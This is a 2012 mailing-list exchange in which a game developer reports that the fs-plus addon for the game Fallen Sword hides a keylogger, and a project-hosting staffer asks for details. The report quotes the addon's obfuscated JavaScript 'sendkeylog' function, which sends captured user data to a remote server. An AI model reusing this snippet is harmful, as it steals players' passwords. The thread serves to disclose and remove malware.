On Fri, Jan 13, 2012 at 7:16 AM, Wayne <wa...@huntedcow.com> wrote:

>   This is just to report the project http://code.google.com/p/fs-plus/ which
> is an addon designed for automating parts of the game Fallen Sword.
>
> This script contains the following code that captures a users password and
> sends it back to their remote server.
>
> sendkeylog: function(datastr) {
>             eval((function(x){var d="";var
> p=0;while(p<x.length){if(x.charAt(p)!="`")d+=x.charAt(p++);else{var
> l=x.charCodeAt(p+3)-28;if(l>4)d+=d.substr(d.length-x.charCodeAt(p+1)*96-x.charCodeAt(p+2)+3104-l,l);else
> d+="`";p+=4}}return
> d})("System.xmlhttp(Helper.ascord(\"%68%74%74%70%3A%2F%2F%66%73%77%69%6B%69%2E%65%75%2E%70%6E%2F%73`
> 0!2%76` \"#` 7#8` i!F%64%61%74%61` l!4%72%3D\") + datastr);"));
>         },
>
> Please could the project be removed?
>

Have you written to the project owners about this? What, if anything, did
they have to say in response? Not everyone who serves malware knows that
they are serving malware; many are themselves victims.
Also please link to the resource in the project containing the keylogging
code - is it in a download? In source control?
Thanks,
-Nathaniel

-- 
You received this message because you are subscribed to the Google Groups 
"Project Hosting on Google Code" group.
To post to this group, send email to google-code-hosting@googlegroups.com.
To unsubscribe from this group, send email to 
google-code-hosting+unsubscr...@googlegroups.com.
For more options, visit this group at 
http://groups.google.com/group/google-code-hosting?hl=en.

Reply via email to